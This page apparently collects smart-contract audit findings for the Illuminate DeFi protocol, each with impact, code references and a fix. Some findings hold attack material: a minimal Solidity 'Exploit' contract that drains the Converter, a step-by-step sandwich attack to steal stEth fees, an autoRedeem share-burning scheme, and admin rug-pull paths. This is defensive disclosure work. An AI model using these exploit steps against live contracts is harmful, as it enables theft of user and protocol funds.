Bnke0x0 - Deposits don't work with fee-on transfer tokens

Bnke0x0

medium

Deposits don't work with fee-on transfer tokens

Summary

Vulnerability Detail

There are ERC20 tokens that may make certain customizations to their ERC20 contracts. One type of these tokens is deflationary tokens that charge a certain fee for every transfer() or transferFrom().

Impact

The deposit() function will introduce unexpected balance inconsistencies when comparing internal asset records with external ERC20 token contracts.

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L160

   'Safe.transferFrom(IERC20(underlying), msg.sender, address(this), a);'

Tool used

Manual Review

Recommendation

One possible mitigation is to measure the asset change right before and after the asset-transferring routines

Duplicate of #116

rvierdiiev - Marketplace.setPrincipal do not approve needed allowance for Element vault and APWine router

rvierdiiev

medium

Marketplace.setPrincipal do not approve needed allowance for Element vault and APWine router

Summary

Marketplace.setPrincipal do not approve needed allowance for Element vault and APWine router

Vulnerability Detail

Marketplace.setPrincipal is used to provide principal token for the base token and maturity when it was not set yet. To set PT you also provide protocol that this token belongs to.

In case of APWine protocol there is special block of code to handle all needed allowance. But it is not enough.

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L231-L236

        } else if (p == uint8(Principals.Apwine)) {
            address futureVault = IAPWineToken(a).futureVault();
            address interestBearingToken = IAPWineFutureVault(futureVault)
                .getIBTAddress();
            IRedeemer(redeemer).approve(interestBearingToken);
        } else if (p == uint8(Principals.Notional)) {

In Marketplace.createMarket function 2 more params are used to provide allowance of Lender for Element vault and APWine router.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L182
ILender(lender).approve(u, e, a, t[7]);

But in setPrincipal we don't have such params and allowance is not set. So Lender will not be able to work with that tokens correctly.

Impact

Lender will not provide needed allowance and protocol integration will fail.

Code Snippet

Provided above.

Tool used

Manual Review

Recommendation

Add 2 more params as in createMarket and call ILender(lender).approve(u, e, a, address(0));

Ruhum - Changing the converter in the Redeemer contract will break the redeem functionality for 3 principals

Ruhum

medium

Changing the converter in the Redeemer contract will break the redeem functionality for 3 principals

Summary

When Redeemer.setConverter() is called to change the converter address, the redeem functionality for the Pendle, APWine, and Sense principal tokens will be broken.

Vulnerability Detail

The Redeemer contract has a function setConverter() which allows the admin to update the converter address. The Converter is used to swap tokens when redeeming the Pendle, APwine, and Sense principal tokens. But, for the Converter to be usable, the Redeemer contract has to approve it to access the respective tokens. Only the Marketplace can trigger the approval logic and it does it when a new market is created. So when the Converter contract is changed, the new one won't have the Redeemer contract's token approvals. Any calls to the Converter when redeeming Pendle, APWine, or Sense principal tokens will fail.

Impact

The user won't be able to redeem Pendle, APWine, and Sense principal tokens.

Code Snippet

setConverter(): https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L148-L152

Converter is used when redeeming the three principal tokens named above:

Converter needs token approval because of the call to transferFrom: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L27

Tool used

Manual Review

Recommendation

In setConverter(), set the approvals for the new Converter address.

Duplicate of #223

0x0 - Users Sending Tokens To Contracts Stuck

0x0

medium

Users Sending Tokens To Contracts Stuck

Summary

Occasionally users accidentally send tokens to a contract instead of interacting via publicly available functions. These contracts don't account for this scenario.

Vulnerability Detail

Redeemer
Marketplace
Lender
Converter

There is no functionality in any of these contracts that would allow the return of tokens sent to these contracts accidentally.

Impact

  • Users who accidentally send tokens to these contracts would not be able to retrieve them.

Code Snippet

contract Converter is IConverter {

Tool used

Manual Review

Recommendation

  • Consider implementing functionality to these contracts that allows an administrator to return tokens accidentally sent.

kenzo - Lending on Swivel: protocol fees not taken when remainder of underlying is swapped in YieldPool

kenzo

medium

Lending on Swivel: protocol fees not taken when remainder of underlying is swapped in YieldPool

Summary

The lend function for Swivel allows swapping the remainder underlying on Yield.
But it does not take protocol fees on this amount.

Vulnerability Detail

When executing orders on Swivel,
if the user has set e==true and there is remaining underlying,
the lending function will swap these funds using YieldPool.
But it does not take the protocol fees on that amount.

Impact

Some protocol fees will be lost.
Users may even use this function to trade on the YieldPool without incurring protocol fees.
While I think it can be rightfully said that at that point they can just straight away trade on the YieldPool without incurring fees, that can also be said about the general Illuminate/Yield lend function, which swaps on the YieldPool and does extract fees.

Code Snippet

In Swivel's lend function,
if the user has set e to true,
the following block will be executed.
Note that no fees are extracted from the raw balance.

                if (e) {
                    // Calculate the premium
                    uint256 premium = IERC20(u).balanceOf(address(this)) - starting;
                    // Swap the premium for Illuminate principal tokens
                    swivelLendPremium(u, m, y, premium, premiumSlippage);
                }

swivelLendPremium being:

        // Lend remaining funds to Illuminate's Yield Space Pool
        uint256 swapped = yield(u, y, p, address(this), IMarketPlace(marketPlace).token(u, m, 0), slippageTolerance);
        // Mint the remaining tokens
        IERC5095(principalToken(u, m)).authMint(msg.sender, swapped);

And yield doesn't take protocol fees either. So the fees are lost from the premium.

Tool used

Manual Review

Recommendation

In the if(e) block of Swivel's lend, extract the protocol fee from premium.

Bnke0x0 - Centralisation Risk: Admin Can Change Important Variables To Steal Funds

Bnke0x0

medium

Centralisation Risk: Admin Can Change Important Variables To Steal Funds

Summary

Vulnerability Detail

Impact

There are numerous methods that the admin could apply to rug pull the protocol and take all user funds.

  • Lender.approve()
  • Lender.setFee()
    • Does not have an lower limit.
    • feeNominator = 1 implies 100% of the amount is taken as fees.
  • Lender.withdraw()
    • Allows withdrawing any arbitrary ERC20 token
    • 3 Days is insufficient time for users to withdraw funds in the case of a rugpull.
  • MarketPlace.setPrincipal()
    • Use (u, m, 0) -> to be an existing Illuminate PT from another market
    • Then set (u, m, 1) -> to be some malicious admin-created ERC20 token to which they have an infinite supply
    • Then call Lender.mint() for `(u, m, 1) and later redeem these tokens on the original market

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L146

 'function approve('

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L219

 'function setAdmin(address a) external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L228

 'function setFee(uint256 f) external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L252-L256

 ' function setMarketPlace(address m)
    external
    authorized(admin)
    returns (bool)
{'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L785-L789

 '    function scheduleWithdrawal(address e)
    external
    authorized(admin)
    returns (bool)
{'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L801-L805

 '   function blockWithdrawal(address e)
    external
    authorized(admin)
    returns (bool)
{'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L813

 'function scheduleFeeChange() external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L823

 'function blockFeeChange() external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L834

 'function withdraw(address e) external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L857

 'function withdrawFee(address e) external authorized(admin) returns (bool) {'

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L879-L884

 '  function pause(
    address u,
    uint256 m,
    uint8 p,
    bool b
) external authorized(admin) returns (bool) {'

Tool used

Manual Review

Recommendation

Without significant redesign, it is not possible to avoid the admin being able to rug-pull the protocol.

As a result, the recommendation is to set all admin functions behind either a time-locked DAO or at least a time-locked multi-sig contract.

csanuragjain - User can steal contract existing balance

csanuragjain

medium

User can steal contract existing balance

Summary

If contract has an existing balance while converting then user can sweep away that existing balance as part of conversion

Vulnerability Detail

  1. Assume contract has existing balance of amount 100
  2. User A calls the convert function which went for Lido conversion using amount 50
function convert(
        address c,
        address u,
        uint256 a
    ) external {
...
catch {
                // get the current balance of wstETH
                uint256 balance = IERC20(c).balanceOf(address(this));
                // unwrap wrapped staked eth
                uint256 unwrapped = ILido(c).unwrap(balance);
                // Send the unwrapped staked ETH to the caller
                Safe.transfer(IERC20(u), msg.sender, unwrapped);
            }
}
  1. In this case balance will be come as 150 even though user only paid amount 50 due to previous balance causing conversion in giving more amount to user than required

Impact

User will more underlying token even though he paid lesser compounding token

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L21

Tool used

Manual Review

Recommendation

Revise the function as below:

function convert(
        address c,
        address u,
        uint256 a
    ) external {
uint256 prevBalance = IERC20(c).balanceOf(address(this));
Safe.transferFrom(IERC20(c), msg.sender, address(this), a);
...
catch {
                // get the current balance of wstETH
                uint256 balance = IERC20(c).balanceOf(address(this));
balance-=prevBalance;
                // unwrap wrapped staked eth
                uint256 unwrapped = ILido(c).unwrap(balance);
                // Send the unwrapped staked ETH to the caller
                Safe.transfer(IERC20(u), msg.sender, unwrapped);
            }

0x1f8b - Drain any contracts that inherit from `Converter`

0x1f8b

high

Drain any contracts that inherit from Converter

Summary

It's possible to drain any contracts that inherit from Converter.

Vulnerability Detail

The problem with the Converter.convert method is that it can be called by anyone, and it also relies on user input to transfer funds, so with a contract like the following:

pragma solidity 0.8.17;

contract Exploit {
    function transferFrom(address c, address u, uint256 a) external returns (bool){ return true; }
    function POOL() external returns (address){ return address(this); }
    function withdraw(address u, uint256 a, address s) external { require(false, "ERROR!"); }
    function redeem(uint256 a) external returns (bool) { return true; }
}

And call it like:

  • Attacker deploy Exploit.
  • Attacker call the converter method with:
    • c = The Exploit contract.
    • u = token to steal, USDT for example.
    • a = 0.
  • When withdraw revert it will transfer the funds to the attacker.

Impact

Lose all tokens.

Code Snippet

    function convert(address c, address u, uint256 a) external {
        Safe.transferFrom(IERC20(c), msg.sender, address(this), a);

        try IAaveAToken(c).POOL() returns (address pool) {
            Safe.approve(IERC20(u), pool, a);
            IAaveLendingPool(pool).withdraw(u, a, msg.sender);
        } catch {
            try ICompoundToken(c).redeem(a) {
                uint256 balance = IERC20(u).balanceOf(address(this));
                Safe.transfer(IERC20(u), msg.sender, balance);
            } catch {
                uint256 balance = IERC20(c).balanceOf(address(this));
                uint256 unwrapped = ILido(c).unwrap(balance);
                Safe.transfer(IERC20(u), msg.sender, unwrapped);
            }
        }
    }

Tool used

Manual Review

Recommendation

  • Add sender checks or pool whitelist

Duplicate of #152

kenzo - User-supplied AMM pools and no input validation allows stealing of stEth protocol fees

kenzo

high

User-supplied AMM pools and no input validation allows stealing of stEth protocol fees

Summary

Some of the protocols lend methods take as user input the underlying asset and the pool to swap on.
They do not check that they match.
Therefore a user can supply to Lender DAI underlying,
instruct Lender to swap stEth with 0 minAmountOut,
and sandwich the transaction to 0, thereby stealing all of Lender's stEth fees.

Vulnerability Detail

In Tempus, APWine, Sense, Illuminate and Swivel's lend methods,
the underlying, the pool to swap on, and the minAmountOut, are all user inputs.
There is no check that they match,
and the external swap parameters do not contain the actual asset to swap - only the pool to swap in. Which is a user input.
So an attacker can do the following, for example with APWine:

  • Let's say Lender has accumulated 100 stEth in fees.
  • The attacker will call APWine's lend, with underlying = DAI, amount = 100 eth, minimumAmountOfTokensToBuy = 0, and AMM pool (x) that is actually for stEth (tam tam tam!).
  • lend will pull 100 DAI from the attacker.
  • lend will call APWine's router with the stEth pool, and 0 minAmountOut. (I show this in code snippet section below).
  • The attacker will sandwich this whole lend call such that Lender will receive nearly 0 tokens. This is possible since the user-supplied minAmountOut is 0.
  • lend will execute this swapping operation. It will receive nearly 0 APWine-stEth-PTs.
  • Since the attacker sandwiched this transaction to 0, he will gain all the stEth that Lender tried to swap - all the stEth fees of the protocol.

Impact

Theft of stEth fees, as detailed above.

Code Snippet

Here is APWine's lend method.
You can notice the following things. Specifically note the swapExactAmountIn operation.

  • There is no check that user-supplied pool swaps token u
  • apwinePairPath() and apwineTokenPath() do not contain actual asset addresses, but only relative 0 or 1
  • Therefore, pool can be totally unrelated to u
  • The user supplies the slippage limit - r - so he can use 0
  • The swap will be executed for the same amount (minus fees) that has been pulled from the user; but user can supply DAI and swap for same amount of stEth, a Very Profitable Trading Strategy
  • We call the real APWine router so Lender has already approved it

Because of these, the attack described above will succeed - the user can supply DAI as underlying, but actually make Lender swap stEth with 0 minAmountOut.

    /// @notice lend method signature for APWine
    /// @param p principal value according to the MarketPlace's Principals Enum
    /// @param u address of an underlying asset
    /// @param m maturity (timestamp) of the market
    /// @param a amount of underlying tokens to lend
    /// @param r slippage limit, minimum amount to PTs to buy
    /// @param d deadline is a timestamp by which the swap must be executed
    /// @param x APWine router that executes the swap
    /// @param pool the AMM pool used by APWine to execute the swap
    /// @return uint256 the amount of principal tokens lent out
    function lend( uint8 p, address u, uint256 m, uint256 a, uint256 r, uint256 d, address x, address pool) external unpaused(u, m, p) returns (uint256) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);

        // Transfer funds from user to Illuminate
        Safe.transferFrom(IERC20(u), msg.sender, address(this), a);

        uint256 lent;
        {
            // Add the accumulated fees to the total
            uint256 fee = a / feenominator;
            fees[u] = fees[u] + fee;

            // Calculate amount to be lent out
            lent = a - fee;
        }

        // Get the starting APWine token balance
        uint256 starting = IERC20(principal).balanceOf(address(this));

        // Swap on the APWine Pool using the provided market and params
        IAPWineRouter(x).swapExactAmountIn(
            pool,
            apwinePairPath(),
            apwineTokenPath(),
            lent,
            r,
            address(this),
            d,
            address(0)
        );

        // Calculate the amount of APWine principal tokens received after the swap
        uint256 received = IERC20(principal).balanceOf(address(this)) -
            starting;

        // Mint Illuminate zero coupons
        IERC5095(principalToken(u, m)).authMint(msg.sender, received);

        emit Lend(p, u, m, received, a, msg.sender);
        return received;
    }

    function apwineTokenPath() internal pure returns (uint256[] memory) {
        uint256[] memory tokenPath = new uint256[](2);
        tokenPath[0] = 1;
        tokenPath[1] = 0;
        return tokenPath;
    }

    /// @notice returns array pair path required for APWine's swap method
    /// @return array of uint256[] as laid out in APWine's docs
    function apwinePairPath() internal pure returns (uint256[] memory) {
        uint256[] memory pairPath = new uint256[](1);
        pairPath[0] = 0;
        return pairPath;
    }

The situation is similar in:

  • Tempus, where x is the pool to swap on.
  • Sense, where adapter is user-supplied.
  • Illuminate, where if the principal is Yield, the function is checking that the underlying token matches the pool. But the user can supply the principal to be Illuminate, bypassing this check, and supplying the YieldPool y to be one that swaps stEth for fyEth.
  • Swivel, where I believe that the user can supply an order to swap stEth instead of DAI.

Tool used

Manual Review

Recommendation

Check that the user-supplied pool/adapter/order's tokens match the underlying. This should ensure that the user only swaps assets he supplied.

caventa - Lending fee could be 0 if the lending amount is too small

caventa

medium

Lending fee could be 0 if the lending amount is too small

Summary

Lending fee could be 0 if the lending amount is too small.

Vulnerability Detail

The lending fee is set to amount / feenominator (See all the code snippets mentioned below). If the amount is set to any value which is less than feenominator, the fee will be 0.

Impact

Assume that the lending fee cannot be 0, no lending fee is able to be charged.

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L318
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L395
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L483
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L538
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L649
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L710
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L764

Tool used

Manual Review

Recommendation

We can add the following code just before any line of all the code snippets mentioned above.

  if (a < feenominator) {
        revert Exception(11, 0, 0, address(0), address(0)); // this 5 parameters can be any value
  }

Ruhum - Can't create multiple markets for ERC20 tokens that have approval protections

Ruhum

medium

Can't create multiple markets for ERC20 tokens that have approval protections

Summary

It's not possible to create multiple markets for the same ERC20 token when the token has protection against the approval race condition.

Vulnerability Detail

Some ERC20 tokens, e.g. USDT, only allow you to set the approval to value $X &gt; 0$ if it was $0$ previously.

In Marketplace.createMarket() you call Lender.approve() for a given token u. The first time you create a market for token u, there won't be any issues. But, the second time, Lender will already have set the approval amount to $X &gt; 0$. The tx will fail.

Impact

For a given token u that has protection against the approval race condition, you will only be able to create a single market.

Code Snippet

Lender.approve() is called in Marketplace.createMarket(): https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L182

It approves addresses a, e, and n to spend the Lender's u tokens: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L194-L214

Btw, there's a mismatch in the parameter order in the call to Lender.approve(). The function signature is approve(u, a, e, n) but you call it with approve(u, e, a, n). The addresses of e and a are swapped. But, because the same logic is executed for both params, it's not a real issue.

Approval race condition protection implemented in the USDT contract: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code)

Tool used

Manual Review

Recommendation

approve() should only be called if the current approval is set to 0.

Duplicate of #99

kenzo - `autoRedeem` allows an attacker to burn user shares before underlying has been redeemed

kenzo

high

autoRedeem allows an attacker to burn user shares before underlying has been redeemed

Summary

If a user has approved the autoRedeem mechanism, anybody may burn his shares (for a small fee) upon maturity.
An attacker can burn such a user's shares before the underlying has been redeemed from the markets.
Then, the legitimate user would completely lose his assets,
and the attacker (which would also holds iPTs) will gain more underlying,
as his share of the pool will grow.

Vulnerability Detail

The autoRedeem mechanism enables a user to allow anybody else to redeem his iPTs.
autoRedeem just checks that the iPT has matured; it does not check whether the protocol markets have been redeemed yet.
Therefore, let's say that there are a few big whales who have approved using the autoRedeem mechanism. And also an attacker which holds iPTs.
When the iPT has matured, the attacker would execute the following transactions on the top of the first block:

  • Call autoRedeem for the whales. Their shares will be burned, getting nothing, as no markets have been redeemed yet.
  • The attacker will then redeem the various markets (Notional etc') (or just wait for somebody else to do so)
  • The attacker will then redeem his own iPTs. Since he burned the users' tokens, his share of the pool is bigger, and he will receive more underlying than he deserves.

Impact

Loss of user funds, as detailed above.

Code Snippet

autoRedeem allows anybody to burn a user's shares, as long as the user approved Redeemer to spend his underlying tokens:

            uint256 allowance = uToken.allowance(f[i], address(this));
            uint256 amount = pt.balanceOf(f[i]);
            ...
            if (allowance < amount) {
                revert Exception(20, allowance, amount, address(0), address(0));
            }

When calculating the amount to be redeemed, there is no check that any markets have been redeemed:

            uint256 redeemed = (amount * holdings[u][m]) / pt.totalSupply();

And this line also shows that the attacker would gain more underlying as the totalSupply decreases.

Tool used

Manual Review

Recommendation

If you wish to keep this functionality, at the moment I see no alternative but to only allow redemption of iPTs after all the markets have been redeemed.

This issue is related to the issue that users might accidentally redeem their iPTs before all the markets have been redeemed, thereby losing their funds.
I think this autoRedeem issue is worth an issue in itself as it describes a profitable malicious attack vector of the autoRedeem mechanism.
But to fix both the issues, it seems to me that you need to only allow redemptions after markets have been redeemed.
Perhaps you can also add a emergencyRedeem function that will redeem regardless of whether the markets have been redeemed.
I detail how I suggest to do it in the mitigation of issue #9.

Duplicate of #239

neumo - setPrincipal fails to approve Notional contract to spend lender's underlying tokens

neumo

medium

setPrincipal fails to approve Notional contract to spend lender's underlying tokens

Summary

If the Notional principal is not set at Marketplace creation, when trying to add it at a later time via setPrincipal, the call will not accomplish that the lender approves the notional contract to spend its underlying tokens, due to passing the zero address as underlying to the lender's approve function.

Vulnerability Detail

The vulnerability lies in line 238 of Marketplace contract:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L238
Function approve of Lender contract expects the address of the underlying contract as the first parameter:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L194-L214
As the underlying address passed in in the buggy line above is the zero address, uToken is also the zero adress and Safe.approve(uToken, n, max); just calls approve on the zero address, which does nothing (not even reverting because there's no contract deployed there).

Impact

If there was no way for the lender contract to approve the notional address, I would rate this issue as High, but since there is an admin function function approve(address[] calldata u, address[] calldata a), the admin could fix this issue approving the notional contract over the underlying token, making the impact less severe. But in the meantime Notional's lending would revert due to the lack of approval.

Code Snippet

The following test, that can be added in the MarketPlace.t.sol file, proves this vulnerability:

function testIssueSetPrincipalNotional() public {

	address notional = address(token7);

	address[8] memory contracts;
	contracts[0] = address(token0); // Swivel
	contracts[1] = address(token1); // Yield
	contracts[2] = address(token2); // Element
	contracts[3] = address(token3); // Pendle
	contracts[4] = address(token4); // Tempus
	contracts[5] = address(token5); // Sense
	contracts[6] = address(token6); // APWine
	contracts[7] = address(0); // Notional unset at market creation

	mock_erc20.ERC20(underlying).decimalsReturns(10);
	mock_erc20.ERC20 compounding = new mock_erc20.ERC20();
	token6.futureVaultReturns(address(apwfv));
	apwfv.getIBTAddressReturns(address(compounding));

	token3.underlyingYieldTokenReturns(address(compounding));

	mp.createMarket(
		address(underlying),
		maturity,
		contracts,
		'test-token',
		'tt',
		address(elementVault),
		address(apwineRouter)
	);

	// verify approvals
	assertEq(r.approveCalled(), address(compounding));

	// We verify that the notional address approved for address(0) is unset
	(, , address approvedNotional) = l.approveCalled(address(0));
	assertEq(approvedNotional, address(0));
	// and that the approved notional for address(underlying) is unset
	(, , approvedNotional) = l.approveCalled(address(underlying));
	assertEq(approvedNotional, address(0));

	// Then we call setPrincipal for the notional address
	mp.setPrincipal(uint8(MarketPlace.Principals.Notional), address(underlying), maturity, notional);

	// Now we verify that, after the call to setPrincipal, the notional address 
	// approved for address(0) is the Notional address provided in the call
	(, , approvedNotional) = l.approveCalled(address(0));
	assertEq(approvedNotional, notional);
	// and that the approved notional for address(underlying) is still unset
	(, , approvedNotional) = l.approveCalled(address(underlying));
	assertEq(approvedNotional, address(0));
}

Tool used

Forge Tests and manual Review

Recommendation

Change this line in Marketplace.sol:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L238
with this:
ILender(lender).approve(address(u), address(0), address(0), a);

rvierdiiev - Redeemer.setFee function will always revert

rvierdiiev

medium

Redeemer.setFee function will always revert

Summary

Redeemer.setFee function will always revert and will not give ability to change feenominator.

Vulnerability Detail

Redeemer.setFee function is designed to give ability to change feenominator variable.

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L168-L187

    function setFee(uint256 f) external authorized(admin) returns (bool) {
        uint256 feeTime = feeChange;
        if (feeTime == 0) {
            revert Exception(23, 0, 0, address(0), address(0));
        } else if (feeTime < block.timestamp) {
            revert Exception(
                24,
                block.timestamp,
                feeTime,
                address(0),
                address(0)
            );
        } else if (f < MIN_FEENOMINATOR) {
            revert Exception(25, 0, 0, address(0), address(0));
        }
        feenominator = f;
        delete feeChange;
        emit SetFee(f);
        return true;
    }

As feeChange value is 0(it's not set anywhere), this function will always revert wtih Exception(23, 0, 0, address(0), address(0)).
Also even if feeChange was not 0, the function will give ability to change fee only once, because in the end it calls delete feeChange which changes it to 0 again.

Impact

Fee can't be changed.

Code Snippet

Provided above.

Tool used

Manual Review

Recommendation

Add same functions as in Lender.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L813-L829;

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.